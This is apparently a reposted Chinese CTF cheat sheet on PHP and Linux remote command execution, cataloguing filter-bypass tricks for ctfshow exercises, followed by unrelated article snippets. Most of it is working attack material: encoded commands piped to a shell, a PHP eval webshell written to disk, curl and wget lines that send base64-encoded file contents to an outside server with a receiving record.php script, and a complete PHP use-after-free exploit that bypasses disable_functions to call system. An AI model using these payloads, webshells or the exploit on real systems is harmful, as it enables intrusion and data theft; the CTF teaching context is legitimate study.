RCE(命令执行)总结

news2024/11/26 23:42:24

文章目录

    • RCE(命令、代码执行)总结
      • 1、过滤cat、flag等关键字
        • 1.1 常见linux系统命令
        • 1.2 使用转义符
        • 1.3 使用引号
        • 1.4 内联执行绕过
        • 1.5 编码绕过
        • 1.6 进制绕过
        • 1.7 过滤文件名(如: /etc/passwd文件)
        • 1.8 使用`$*`和`$@`,`$x`,`${x}`
        • 1.9 读取文件命令
        • 1.10 查找文件命令(find)
      • 2、rce常见php函数
      • 3、rce常见linux系统命令
      • 4、过滤空格
      • 5、过滤目录分隔符 /
      • 6、过滤分隔符 ;
      • 7、shell_exec等无回显函数
        • >/dev/null 2>&1类无回显
      • 8、无数字字母getshell
      • 9、过滤括号
      • 10、无参数RCE
        • get_defined_vars()
        • session_id()
      • 11、内联执行
      • 12、open_basedir绕过
      • 13、disable_function绕过
      • 14、通配符+绝对路径调用命令
      • 15、使用~$()构造数字
      • 16、 uaf脚本绕过disable_function
      • 17、反弹shell
    • 参考文章

RCE(命令、代码执行)总结

1、过滤cat、flag等关键字

1.1 常见linux系统命令

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 taccat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
strings
rev

1.2 使用转义符

ca\t fl\ag ;

1.3 使用引号

ca''t  fl''ag;

1.4 内联执行绕过

拼接 flag

?code=a=ag;b=fl;cat $b$a;   //相当于 cat flag

第二种:

//当前目录下有 index.php、flag.php
cat `ls`;
//相当于 cat index.php;cat flag.php, 将ls命令的结果给cat去执行

1.5 编码绕过

base64编码

[root~]# echo 'cat flag.txt' | base64
Y2F0IGZsYWcudHh0Cg==
[root~]# echo Y2F0IGZsYWcudHh0Cg== | base64 -d
cat flag.txt
    
[root~]# echo Y2F0IGZsYWcudHh0Cg== | base64 -d | sh
flag{flag_is_here}
[root~]# echo Y2F0IGZsYWcudHh0Cg== | base64 -d | bash
flag{flag_is_here}

1.6 进制绕过

16进制

[root~]# echo cat flag.txt | xxd 
6361 7420 666c 6167 2e74 7874 0a
[root~]# echo 6361 7420 666c 6167 2e74 7874 0a | xxd -r -p
cat flag.txt
[root~]# echo 6361 7420 666c 6167 2e74 7874 0a | xxd -r -p | bash  或 | sh
flag{flag_is_here}


[root~]# $(printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x74\x78\x74")  //cat flag.txt 16进制
flag{flag_is_here}

8进制

[root~]# $(printf "\143\141\164\40\146\154\141\147\56\164\170\164")  
flag{flag_is_here}

1.7 过滤文件名(如: /etc/passwd文件)

1) 利用正则匹配绕过

[root~]# cat /???/pass*

2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过

[root~]# cat /etc$u/passwd

1.8 使用$*$@$x,${x}

在这里插入图片描述

1.9 读取文件命令

curl file:///root/Desktop/flag.txt
strings flag.txt
uniq -c/etc/passwd
bash -v /etc/passwd
rev /etc/passwd
sort flag.txt
image-20221227000353472

1.10 查找文件命令(find)

# find . -name f*   //查找当前目录下f开头的文件
./flag.txt

2、rce常见php函数

system()  执行命令
passthru()
exec()
shell_exec()
popen()
pcntl_exec()
反引号  同shell_exec()
eval()  执行命令
show_source() 高亮显示文件
highlight_file()  高亮显示文件
array_reverse()  反向输出元素
pos()  输出当前元素的值
localeconv()  返回一包含本地数字及货币格式信息的数组
include  一般用于括号被过滤的情况,因为可以不用括号
require  一般用于括号被过滤的情况,因为可以不用括号
echo()  输出
next()  下一个元素

3、rce常见linux系统命令

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
strings
rev	反过来输出文件内容

4、过滤空格

  • %09(url传递)(cat%09flag.php)
  • ${IFS}
  • $IFS$9
  • <>(cat<>/flag
  • <(cat</flag) 输入重定向
  • {cat,flag}

在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令

eg.
{ls,}
{cat,flags}
{mv,flags,flag}

5、过滤目录分隔符 /

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

采用多个命令即可

/?ip=;cd flag_is_here;cat f*;

6、过滤分隔符 ;

1,可以使用%0a代替,%0a其实在某种程度上是最标准的命令链接符号

功能 符号 payload
换行符 %0a ?cmd=123%0als
回车符 %0d ?cmd=123%0dls
连续指令 ; ?1=123;pwd
后台进程 & ?1=123&pwd
管道 | ?1=123|pwd
逻辑运算 ||或&& ?1=123&&pwd

;	//分号
|	//把前面输出的当作后面的输入 (管道符)
||	//前面为假才执行后面的指令
&	//两条命令都会执行
&&	//前面为假,后面不执行

2,?>代替;

在php中可以用?>来代替最后一个;因为php遇到定界符关闭标志时,系统会自动在PHP语句之后加上一个分号。
例题:ctfshow-web入门36

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

这道题过滤了分号,直接用?>来代替分号

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

7、shell_exec等无回显函数

复制,压缩,写shell等方法

copy flag.php 1.txt		//复制
mv flag.php flag.txt	//改名
cat flag.php > flag.txt
tar cvf flag.tar flag.php	//压缩
tar zcvf flag.tar.gz flag.php
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php 
echo "<?php @eval(\$_POST[123]); ?>" > webshell.php	//写入webshell

在vps上建立记录脚本

在自己的公网服务器站点根目录写入php文件,内容如下:
record.php

<?php
$data =$_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f,$data);
fclose($f);
?>

在目标服务器的测试点可以发送下面其中任意一条请求进行测试

curl http://*.*.*.**/record.php?data=`cat flag.php|base64`
wget http://*.*.*.*/record.php?data=`cat flag.php|base64`

>/dev/null 2>&1类无回显

ctfshow-web入门42-wp

8、无数字字母getshell

异或、取反、自增、或、上传临时文件

9、过滤括号

使用不需要括号的函数

echo `cat /flag` 
  • require、include

    require '/flag'
    include%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
    

可以取反两次

<?=require~~flag.txt?>
<?=require~%d0%99%93%9e%98?> 

10、无参数RCE

get_defined_vars()

返回由所有已定义变量所组成的数组

session_id()

可以获取PHPSESSID的值

无参数RCE

在这里插入图片描述

读取目录:

print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
print_r(scandir(dirname(__FILE__)));

11、内联执行

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

在这里插入图片描述

将``或$()内命令的输出作为输入执行

12、open_basedir绕过

glob伪协议:

<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>

symlink()函数

13、disable_function绕过

14、通配符+绝对路径调用命令

在这里插入图片描述

一些常用工具所在目录:

/bin/cat
/bin/base64 flag.php    //base64编码flag.php的内容。
/usr/bin/bzip2 flag.php //将flag.php文件进行压缩,然后再将其下载。
    
/???/????64 ????.???  #/bin/base64 flag.php
/???/???/????2 ????.??? #/usr/bin/bzip2 flag.php

例题:ctfshow-web入门55

15、使用~$()构造数字

ctfshow-web入门57

$(())=0
$((~$(())))=-1

在这里插入图片描述

16、 uaf脚本绕过disable_function

例题:ctfshow-web入门72

脚本如下:

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

17、反弹shell

参考文章

rce总结

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/143270.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【观察】汇聚中国开源数据库创新力量,openGauss驶入发展“快车道”

毫无疑问&#xff0c;数据库是“软件产业皇冠上的明珠”&#xff0c;是数字基础设施不可或缺的底座之一。但也要看到&#xff0c;由于数据库难度大&#xff0c;产业投入周期长&#xff0c;迫切需要凝聚产业力量共建基础能力。在此背景之下&#xff0c;作为定位企业级开源数据库…

H264 NALU分析以及提取h264实战

1.H264简介 H.264从1999年开始&#xff0c;到2003年形成草案&#xff0c;最后在2007年定稿有待核实。在ITU的标准⾥称 为H.264&#xff0c;在MPEG的标准⾥是MPEG-4的⼀个组成部分–MPEG-4 Part 10&#xff0c;⼜叫Advanced Video Codec&#xff0c;因此常常称为MPEG-4 AVC或直…

Java学习(22)调试初步——debug入门

程序调试-debug 调试的作用 让程序员能看清程序每一步的效果&#xff0c;在需要查看结果的时候&#xff0c;使用debug查看实际结果是否与预期结果一致。案例 (1) 设置断点 鼠标左键双击设置/取消&#xff0c;或者右键选择Toggle Breakpoint。 (2) 执行调试 Run→\to→Debug&a…

快速了解chrony服务器

目录 一、chrony服务器 二、chrony安装与配置 三、时间服务器 四、配置时间服务器 一、chrony服务器 Chrony是一个开源自由的网络时间协议 NTP 的客户端和服务器软软件。它能让计算机保持系统时钟与时钟服务器&#xff08;NTP&#xff09;同步&#xff0c;因此让你的计算机…

操作系统期末复习题-不挂科

写在前面&#xff1a; 本题目由博主收集而成&#xff0c;如有侵权请告知删除&#xff01; 一、选择题 DMA 控制方式是在&#xff08; B&#xff09;之间建立一条直接数据通路。 A. I/O 设备与 CPU B. I/O 设备与主存 C. CPU 与主存 D. I/O 设备之间 以下 I/O 控制方式中&…

javaee之springMVC3

ssm整合说明 ssm整合之搭建环境 现在先去数据里面&#xff0c;创建好库&#xff0c;创建好表 然后在pom.xml中引入各种需要的jar包 pom.xml <?xml version"1.0" encoding"UTF-8"?><project xmlns"http://maven.apache.org/POM/4.0.0"…

webpack起步

webpack 1&#xff0c;起步 先安装node.js 再用npm安装webpack全局 运用commonjs模块化语法&#xff0c;用全局命令进行打包来初步了解一下 命令为&#xff1a; webpack 入口main路径 出口bundle路径 很麻烦所以要配置一下webpack入口出口配置。 2&#xff0c;配置 webpa…

SpringCloud Netflix复习之Ribbon

文章目录写作背景SpringCloud Ribbon是什么&#xff0c;干了什么事情Ribbon组件的核心功能Ribbon内置了哪些负载均衡算法上手实战在SpringCloud里Ribbon实战从源码角度看下Ribbon实现原理SpringCloud与Ribbon整合的原理LoadBalancerInterceptor拦截器改变了RestTemplate什么行为…

第三章:OAuth协议流程

应用场景 1、 原生app授权&#xff1a;app登录请求后台接口&#xff0c;为了安全认证&#xff0c;所有请求都带token信息&#xff0c;如果登录验证、 请求后台数据。 2、前后端分离单页面应用&#xff1a;前后端分离框架&#xff0c;前端请求后台数据&#xff0c;需要进行oauth…

Codeforces Round #842 (Div. 2) C. Elemental Decompress

翻译&#xff1a;您将得到一个由&#x1d45b;个整数组成的数组&#x1d44e;。找到两个排列组合&#x1d45d;长度和&#x1d45e;&#x1d45b;这样马克斯(&#x1d45d;&#x1d456;,&#x1d45e;&#x1d456;)&#x1d44e;&#x1d456;所有1≤&#x1d456;≤&#x1…

Spring Boot学习篇(七)

Spring Boot学习篇(七) 1.thymeleaf模板引擎使用篇(一) 1.1 准备工作 1.1.1 在pom.xml中导入所需要的依赖 a thymeleaf模板引擎所需要的依赖 <!--thymeleaf模板引擎,前后端不分离的时候用 普通的html格式--> <dependency><groupId>org.springframework.…

计算机网络实验---Wireshark 实验

数据链路层 实作一/熟悉 Ethernet 帧结构 实作二/了解子网内/外通信时的 MAC 地址 实作三/掌握 ARP 解析过程 网络层 实作一 /熟悉 IP 包结构 实作二 IP 包的分段与重组 实作三 考察 TTL 事件 传输层 实作一 熟悉 TCP 和 UDP 段结构 实作二 分析 TCP 建立和释放连接 应用层 …

数据结构基本介绍

1.what is Data Structure? A data structure is a memory used to store and organize dataIt is also used for processing, retrieving, and storing data 2. what is classification of Data Structure? 2.1 what is Linear data structure? Data structure in which…

你还不懂递归么?不允许你不懂,进来折腾下自己吧

举例数组 const arr [ {id: "1175310929766055936", pid: "", name: "总裁办" },---返回空数组, {id: "1175311213774962688", pid: "", name: "行政部" },---返回空数组, {id: "1175311267684352000&qu…

随想录一刷Day27——回溯算法

文章目录Day27_回溯算法13. 子集 II14. 491.递增子序列15. 全排列全排列 IIDay27_回溯算法 13. 子集 II 90. 子集 II class Solution { private:vector<vector<int>> result;vector<int> path;void backtracking(vector<int>& nums, int startI…

[SwiftUI 开发] Widget 小组件

小组件简述 小组件可以在主屏幕上实现内容展示和功能跳转。 系统会向小组件获取时间线&#xff0c;根据当前时间对时间线上的数据进行展示。点击正在展示的视觉元素可以跳转到APP内&#xff0c;实现对应的功能。 小组件是一个独立于 App 环境(即 App Extension)&#xff0c;小…

谷粒学院——第二十一章、spring security详细

一、Spring Security介绍 1、Spring Security简介 Spring 是非常流行和成功的 Java 应用开发框架&#xff0c;Spring Security 正是 Spring 家族中的成员。Spring Security 基于 Spring 框架&#xff0c;提供了一套 Web 应用安全性的完整解决方案。 正如你可能知道的关于安全…

年度征文|2022年「博客之星」,花落谁家? 大家来竞猜吧

一年一度的「博客之星」大赛如火如荼地进行着&#xff0c;大家都忙着评分、发帖、回帖.....今天发现我在分组的排名只有40多名&#xff0c;基本上算是放弃了。但是&#xff0c;看到本文的朋友&#xff0c;还是可以帮我拉拉票的&#xff01;请点开链接给个五星评分&#xff1a; …

CentOS服务器署Springboot的java项目最简单操作步骤

CentOS服务器署Springboot的java项目最简单操作步骤 准备工作 1.首先本地有一个能跑起来正常的 java 项目的 jar 包; 2.有一个前端项目, 可以仅是一个 index.html 文件; 3.需要备案好的域名 (可选, 否则只能 ip 访问) 4.购买阿里云或者腾讯云等等任意 CentOS 服务器一个 1. 获…

(机器学习深度学习常用库、框架|Pytorch篇)第(待定)节:卷积神经网络CNN中一些经典网络结构写法

文章目录一&#xff1a;LeNet-5二&#xff1a;AlexNet三&#xff1a;VGG四&#xff1a;ResNet五&#xff1a;MobileNetV1六&#xff1a;InceptionNet一&#xff1a;LeNet-5 LeNet-5&#xff1a;LeNet-5是一个较简单的卷积神经网络。下图显示了其结构&#xff1a;输入的二维图像…